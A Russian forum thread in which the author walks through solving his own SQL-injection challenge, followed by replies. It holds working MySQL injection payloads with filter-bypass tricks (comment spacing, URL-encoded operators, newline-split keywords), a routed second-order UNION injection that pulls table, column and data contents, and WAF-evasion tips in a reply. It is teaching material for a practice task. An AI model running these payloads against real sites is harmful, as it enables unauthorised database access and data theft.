Статья SQL-injection challenge write-up

  • Автор темы explorer
  • Дата начала
explorer

explorer

Red Team
05.08.2018
650
1 413
Всем привет!

На днях проходил конкурс по SQL-injection. И сегодня я расскажу вам как нужно было проходить задание. Этот райтап будет больше чем прохождение конкретного таска. Здесь я буду освещать логический подход к внедрению произвольного кода sql. Многие из вас, смогут для себя узнать полезные детали.

Рассказывать буду подробно, шаг за шагом.

Шаг 1 - найти точку входа в инъекцию.

На странице таска мы не видим какой-либо формы в явном виде, также в исходном коде нет скрытой формы.

SQL-injection challenge  write-up


Стало быть с большой долей вероятности уязвимость будет в GET запросе. Чаще всего обращение к базе идёт через какой-нибудь параметр. Пробовать нужно всегда с самого простого и распространённого, что я и сделал в таске. Получилось, вывод на странице поменялся. Попали с первого раза. Кто не догадался, тот легко мог узнать страницу с параметром с помощью какого-либо фаззера.
/?id=1

SQL-injection challenge  write-up


Теперь нужно проверить, а есть ли здесь инъекция? Конечно же начинать нужно опять с самого простого - подстановкой одинарной кавычки.

/?id=1'

SQL-injection challenge  write-up


Ага, получили алерт, значит инъекция присутствует. В этом месте все участники подумали что кавычка блокируется, и это логично на первый взгляд. Однако не будем торопиться с выводами. Попробуем другие варианты.
/?id=1" никакой реакции
/?id=1\ алерт

Хмм... Обратный слэш тоже дал алерт, тоже фильтруется? В реальности фильтрация бэкслэша встречается совсем не часто, как раз наоборот он используется для экранирования потенциально опасных спецсимволов. Странновато выглядит. На самом деле здесь произошла ошибка базы данных в обоих случаях, но вместо ошибки я вывел на экран картинку. Таким образом мне удалось запутать и юзеров, и автоматические программы. Так как и ошибка базы, и срабатывание фильтра, приводят к одному и тому же результату - выводу алерта с картинкой.

Шаг 2 - узнать правильный комментарий.

/?id=1'-- -
Не прокатило, может пробел блочит, попробуем по-другому.
/?id=1'--+ Тоже мимо, значит блочит двойной дефис или + или то и другое вместе.
/?id=1'# Шарп тоже не сработал.
/?id=1';%00 Оп-па, сработало! Старичок нулль-байт не подвёл )

Шаг 3 - выявляем фильтр.

Как всегда начинать нужно с самого простого, используя логические операторы, например так:
/?id=1'and true;%00 Алерт
/?id=1'or true;%00 Алерт

Оба запроса вызвали алерт. Что мы видим в этих запросах - or, and и пробел. Кстати для некоторых я "Америку открою" - после кавычки пробел писать не нужно, так как после неё оригинальный запрос сломан, и наш запрос начинается с первого символа, то есть пробел не нужен. Начнём с пробела, и заменим его на строчный комментарий /**/.

/?id=1'and/**/true;%00 Алерт
/?id=1'or/**/true;%00 Алерт

Пока мимо. Теперь заменим and и or на || и &&

/?id=1'&&/**/true;%00 Алерт
/?id=1'||/**/true;%00 Сработало!

SQL-injection challenge  write-up



Ага, есть первая ласточка, с or прокатило. Теперь применим к && URL-кодирование. Очень мало, кто догадался про это.

/?id=1'%26%26/**/true;%00 Сработало!

SQL-injection challenge  write-up


Кстати, когда применяется URL-кодирование, а также когда логические операторы меняются на символы, то пробелы вовсе можно отбросить и всё прекрасно будет работать.
/?id=1'||true;%00
/?id=1'%26%26true;%00


Сделаем ещё тест

/?id=1'%26%26false;%00 Получили начальную страницу.

SQL-injection challenge  write-up



Вот и чудненько! Благодаря серии коротких тестов мы уже выявили что под фильтр точно попали and, or, #, пробел. А также узнали логику, при истине выводится Money: 500000 а если ложь You Hacker??? Большинство участников конкурса погорели на том, что бросились сразу в бой с длинными запросами. Как видите неспешное тестирование дало уже хорошую информацию для дальнейшей раскрутки.
Теперь можно двигаться дальше. Раз мы уже поняли, что ошибки mysql не выводятся, то запрос типа grop by 10 нам не поможет. Будем подбирать количество столбцов через union, отбросив первый запрос несуществующим id -1.

Шаг 4 - узнаём количество колонок в запросе.

-1'union/**/select/**/1;%00 Алерт
-1'union/**/select/**/1,2;%00 Есть начальная страница

SQL-injection challenge  write-up


-1'union/**/select/**/1,2,3;%00 Алерт

Отлично! Теперь мы знаем что в запросе 2 колонки. Правда не знаем пока какая из них уязвима, поэтому отправим запрос в обоих колонках.

-1'union/**/select/**/version(),database();%00 Что за ерунда? Ничего не выводится.

Вот на этом моменте(кто досюда дошёл), застряли все участники. Новички конечно не знают эту фичу, а другие просто не просекли тему сразу. Если мы смогли узнать верное количество колонок, а вывода нет, то это может указывать на routed sql - маршрутизируемую инъекцию. Такое происходит когда запрос к базе идёт, но не выводит ответ на экран, а передаёт во второй запрос. То есть на странице имеются сразу 2 запроса к базе, получается "инъекция в инъекции".

SQL-injection challenge  write-up


Как тогда это можно проверить? Будем в каждую колонку по-очереди внедрять второй запрос.

-1'union/**/select/**/"1'",2;%00 Начальная страница.
-1'union/**/select/**/1,"2'";%00 Сработал алерт, значит 2-я колонка уязвима.

Почему здесь двойные кавычки??? Посмотрите на второй запрос к базе
$sql="SELECT column_name FROM table_name WHERE Name='".$row['Name']."'";

Так как внутри одинарных кавычек мы не можем второй раз использовать одинарные, то обрамляем вывод двойными. С этим моментом разобрались, пора уже приступать к вытаскиванию данных.

Шаг 5 - узнаём количество колонок во втором запросе.

-1'union/**/select/**/1,"2'/**/union/**/select/**/1;%00";%00

SQL-injection challenge  write-up


-1'union/**/select/**/1,"2'/**/union/**/select/**/1,2;%00";%00 Алерт

Во втором запросе колонка одна.

Шаг 6 - узнаём текущую базу

-1'union/**/select/**/1,"2'/**/union/**/select/**/database();%00";%00

SQL-injection challenge  write-up


Ура! Получили первый реальный вывод информации Money: a271150_1

Шаг 7 - тащим имена таблиц.

-1'union/**/select/**/1,"2'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='a271150_1';%00";%00

Упсс! Что-то пошло не так... На этом месте много копий было сломано. Смотрите внимательно, в information_schema.tables включен OR который у нас фильтруется. Обойти эту неприятность можно разными способами, например вставить %0A между O и R.

Можно использовать что-то из этого списка:

%09 – горизонтальная табуляция
%0A – символ новой строки
%0D – возврат каретки
%0B – вертикальная табуляция
%0C – символ новой страницы


-1'union/**/select/**/1,"2'/**/union/**/select/**/table_name/**/from/**/info%0Armation_schema.tables/**/where/**/table_schema='a271150_1';%00";%00

И опять нас поджидает неудача. Есть ли у вас план мистер Фикс?

SQL-injection challenge  write-up


Да у меня целых 3 плана! Попробуем оператор сравнения like.

-1'union/**/select/**/1,"2'/**/union/**/select/**/table_name/**/from/**/info%0Armation_schema.tables/**/where/**/table_schema/**/like'a271150_1';%00";%00

SQL-injection challenge  write-up


Фантастика, сработало! Но мы видим только одну таблицу, а их может быть много.

Есть ли у вас план мистер Фикс?
Есть целых 2 плана:
Первый -
вытащить таблицы через limit
Второй - через group_concat

Какой же вариант выбрать мистер Фикс?
Если таблиц много, то через limit может быть долго. Значит через group_concat. Гениально мистер Фикс!

SQL-injection challenge  write-up


-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(table_name)/**/from/**/info%0Armation_schema.tables/**/where/**/table_schema/**/like'a271150_1';%00";%00

SQL-injection challenge  write-up


Итак, таблицы у нас всего две.

Шаг 8 - вытаскиваем имена колонок.

-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(column_name)/**/from/**/info%0Armation_schema.columns/**/where/**/table_name/**/like'xz';%00";%00
Money: ID,_Name_,Text

-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(column_name)/**/from/**/info%0Armation_schema.columns/**/where/**/table_name/**/like'fantastik';%00";%00
Money: ID,Name,Money

Шаг 9 - вытаскиваем данные из колонок.

-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(0x3c62723e,ID,0x3a,Name,0x3a,Money)/**/from/**/fantastik;%00";%00


SQL-injection challenge  write-up


Да, secret_key тут явно отсутствует, дёргаем данные из второй таблицы.

-1'union/**/select/**/1,"2'/**/union/**/select/**/group_concat(0x3c62723e,ID,0x3a,_Name_,0x3a,Text)/**/from/**/xz;%00";%00

SQL-injection challenge  write-up


Победа!

Хочу объяснить ещё такой момент, который для многих остаётся непонятным. Когда мы вытащили имена колонок, то их оказалось 3. А в запросе у нас было 2, а во втором запросе и вовсе одна. Как так??? На самом деле всё просто - количество колонок в запросе не обязательно должно быть равно количеству колонок в таблице. Если допустим у меня есть страница в блоге, где рассказывается про животных, то нет смысла выводить из базы данные из разряда автомобилей, и наоборот. Более того, на разных страницах одной тематики можно создать запросы, которые будут отличаться количеством вывода колонок.

Ну вот и всё друзья, как видите неспешный вдумчивый подход, является ключом к успеху. Начинайте тесты всегда с малого, тогда получите большее )
До новых встреч!
 
SooLFaa

SooLFaa

Администратор
15.07.2016
811
1 327
Таск прекрасен, но хексить в роутед SQL все равно удобнее, не нужно мозгоправства с /**/ и т.п. К тому же этот способ упрощает эксплуатацию, когда например ваф срабатывает на information_schema.tables,select и т.п. Тут не надо шаманить с /*!012345*/ Sel/**/ect и т.п.
 
  • Нравится
Реакции: ace911
mackgomeryberns

mackgomeryberns

Member
04.03.2019
21
2
Даров, речь о каких фазерах поделитесь линками, (Это типа dirb?)
 
explorer

explorer

Red Team
05.08.2018
650
1 413
Таск прекрасен, но хексить в роутед SQL все равно удобнее, не нужно мозгоправства с /**/ и т.п. К тому же этот способ упрощает эксплуатацию, когда например ваф срабатывает на information_schema.tables,select и т.п. Тут не надо шаманить с /*!012345*/ Sel/**/ect и т.п.
Можно и хексить и чарить, но только если это не заблочено, верно? Я сначала хотел сделать таск сложнее, но вовремя передумал. Сейчас уже вижу, что пока многие не готовы для сложных задач. Но они будут, так как есть желающие, и я постарался подробно разъяснить подход к решению. В другой раз уже меньше проколов будет однозначно.
 
  • Нравится
Реакции: Goodkid и MrBa
explorer

explorer

Red Team
05.08.2018
650
1 413
Даров, речь о каких фазерах поделитесь линками, (Это типа dirb?)
Нет, dirb не подойдёт, а вот словари от dirb вполне. Рекомендую в Kali уже стоит. Затестил на локалке:

SQL-injection challenge  write-up


Как видно фаззер нашёл все рабочие значения.
 
  • Нравится
Реакции: ace911
ga con

ga con

New member
13.09.2019
1
0
Darov, what kind of phasers are you talking about, share links, (Is this like dirb?)
 
my3uka

my3uka

Member
20.04.2019
12
0
explorer - привет, почему я сейчас немогу пройти етот тест? Я хотел протестить по твоєму врайт апу, так как сам юзал sqlmap для етого теста и дальше зависания на слепой инекции не прошол. SQLmap не помог.

Код:
Шаг 4 - узнаём количество колонок в запросе.

-1'union/**/select/**/1;%00 Алерт - Сработал
-1'union/**/select/**/1,2;%00 Есть начальная страница - Нету начальной страницы
У меня уже не работает второй запрос на 2 колонки. Запрос на 1,2 или 3 колонки выдает фотку хакера, ты уже отключил етот сервек или я делаю чтото не так?
 
explorer

explorer

Red Team
05.08.2018
650
1 413
explorer - привет, почему я сейчас немогу пройти етот тест? Я хотел протестить по твоєму врайт апу, так как сам юзал sqlmap для етого теста и дальше зависания на слепой инекции не прошол. SQLmap не помог.

Код:
Шаг 4 - узнаём количество колонок в запросе.

-1'union/**/select/**/1;%00 Алерт - Сработал
-1'union/**/select/**/1,2;%00 Есть начальная страница - Нету начальной страницы
У меня уже не работает второй запрос на 2 колонки. Запрос на 1,2 или 3 колонки выдает фотку хакера, ты уже отключил етот сервек или я делаю чтото не так?
Вот почему таск изменён, фильтрация усилена. Так никто и не решил. Смотрел логи, один кто-то наполовину сделал и забросил.
 
my3uka

my3uka

Member
20.04.2019
12
0
Спасибо. Я так и подумал.
 
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб